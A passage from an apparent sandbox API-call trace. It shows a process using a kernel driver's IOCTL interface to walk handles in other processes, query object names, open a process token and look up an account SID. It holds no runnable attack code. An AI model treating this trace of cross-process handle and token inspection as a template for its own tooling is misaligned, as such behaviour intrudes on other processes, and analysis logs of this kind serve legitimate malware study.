out: Object=0xfffff88004f09548*=0xfffffa8003295f20, HandleInformation=0x0) returned 0x0 [0104.663] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.663] PsReleaseProcessExitSynchronization () returned 0x2 [0104.663] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.663] ObQueryNameString (in: Object=0xfffffa80027b0c20, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.663] ObfDereferenceObject (Object=0xfffffa8003295f20) returned 0x1 [0104.663] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.664] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.664] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.664] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.664] PsAcquireProcessExitSynchronization () returned 0x0 [0104.664] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.664] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003295dd0, HandleInformation=0x0) returned 0x0 [0104.664] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.664] PsReleaseProcessExitSynchronization () returned 0x2 [0104.664] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.664] ObQueryNameString (in: Object=0xfffffa80027b0e40, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.664] ObfDereferenceObject (Object=0xfffffa8003295dd0) returned 0x1 [0104.664] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.664] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.664] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.664] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.664] PsAcquireProcessExitSynchronization () returned 0x0 [0104.664] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.664] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800329cab0, HandleInformation=0x0) returned 0x0 [0104.664] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.664] PsReleaseProcessExitSynchronization () returned 0x2 [0104.664] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.664] ObQueryNameString (in: Object=0xfffffa800329cab0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.664] ObfDereferenceObject (Object=0xfffffa800329cab0) returned 0x1 [0104.664] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.664] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.664] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0104.664] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.664] PsAcquireProcessExitSynchronization () returned 0x0 [0104.664] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.664] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032c3070, HandleInformation=0x0) returned 0x0 [0104.664] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.665] PsReleaseProcessExitSynchronization () returned 0x2 [0104.665] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.665] ObQueryNameString (in: Object=0xfffffa80032c3070, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.665] ObfDereferenceObject (Object=0xfffffa80032c3070) returned 0xe [0104.665] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.665] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.665] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.665] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.665] PsAcquireProcessExitSynchronization () returned 0x0 [0104.665] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.665] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316ca60, HandleInformation=0x0) returned 0x0 [0104.665] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.665] PsReleaseProcessExitSynchronization () returned 0x2 [0104.665] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.665] ObQueryNameString (in: Object=0xfffffa800316ca60, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.665] ObfDereferenceObject (Object=0xfffffa800316ca60) returned 0x5 [0104.665] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.665] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.665] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.665] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.665] PsAcquireProcessExitSynchronization () returned 0x0 [0104.665] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.665] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003302990, HandleInformation=0x0) returned 0x0 [0104.665] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.665] PsReleaseProcessExitSynchronization () returned 0x2 [0104.665] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.665] ObQueryNameString (in: Object=0xfffffa8003302990, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.666] ObfDereferenceObject (Object=0xfffffa8003302990) returned 0x1 [0104.666] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.666] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.666] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.666] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.666] PsAcquireProcessExitSynchronization () returned 0x0 [0104.666] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.666] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.666] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.666] PsReleaseProcessExitSynchronization () returned 0x2 [0104.666] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.666] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.666] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.666] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.666] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.666] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.666] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.666] PsAcquireProcessExitSynchronization () returned 0x0 [0104.666] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.666] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.666] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.666] PsReleaseProcessExitSynchronization () returned 0x2 [0104.666] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.666] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.666] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.666] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.666] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.666] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.666] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.666] PsAcquireProcessExitSynchronization () returned 0x0 [0104.666] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.667] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.667] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.667] PsReleaseProcessExitSynchronization () returned 0x2 [0104.667] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.667] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.667] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.667] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.667] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.667] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.667] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.667] PsAcquireProcessExitSynchronization () returned 0x0 [0104.667] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.667] ObReferenceObjectByHandle (in: Handle=0x4a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800352ec00, HandleInformation=0x0) returned 0x0 [0104.667] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.667] PsReleaseProcessExitSynchronization () returned 0x2 [0104.667] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.667] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.667] ObfDereferenceObject (Object=0xfffffa800352ec00) returned 0x1 [0104.667] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.667] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.667] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.667] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.667] PsAcquireProcessExitSynchronization () returned 0x0 [0104.667] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0104.667] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.667] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.667] PsReleaseProcessExitSynchronization () returned 0x2 [0104.667] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0104.667] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.667] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.667] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.667] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.668] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xc0 [0104.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.668] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0104.668] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.668] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x36 [0104.668] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80036e5180 | out: TokenHandle=0xfffffa80036e5180*=0xc8) returned 0x0 [0104.668] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.668] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.668] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.668] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.669] CloseHandle (hObject=0xc8) returned 1 [0104.669] CloseHandle (hObject=0xc0) returned 1 [0104.669] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.669] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.669] PsAcquireProcessExitSynchronization () returned 0x0 [0104.669] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0) [0104.669] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800330cf20, HandleInformation=0x0) returned 0x0 [0104.669] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.669] PsReleaseProcessExitSynchronization () returned 0x2 [0104.669] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x34 [0104.669] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.669] ObfDereferenceObject (Object=0xfffffa800330cf20) returned 0x1 [0104.669] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.670] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.670] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.670] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.670] PsAcquireProcessExitSynchronization () returned 0x0 [0104.670] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0) [0104.670] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032b3c80, HandleInformation=0x0) returned 0x0 [0104.670] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.670] PsReleaseProcessExitSynchronization () returned 0x2 [0104.670] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x34 [0104.670] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.670] ObfDereferenceObject (Object=0xfffffa80032b3c80) returned 0x1 [0104.670] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.670] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.670] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.670] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.670] PsAcquireProcessExitSynchronization () returned 0x0 [0104.670] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0) [0104.670] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.670] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.670] PsReleaseProcessExitSynchronization () returned 0x2 [0104.670] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x34 [0104.670] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.670] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.670] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.670] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.670] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.670] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.670] PsAcquireProcessExitSynchronization () returned 0x0 [0104.670] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff88004f095d0) [0104.670] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: 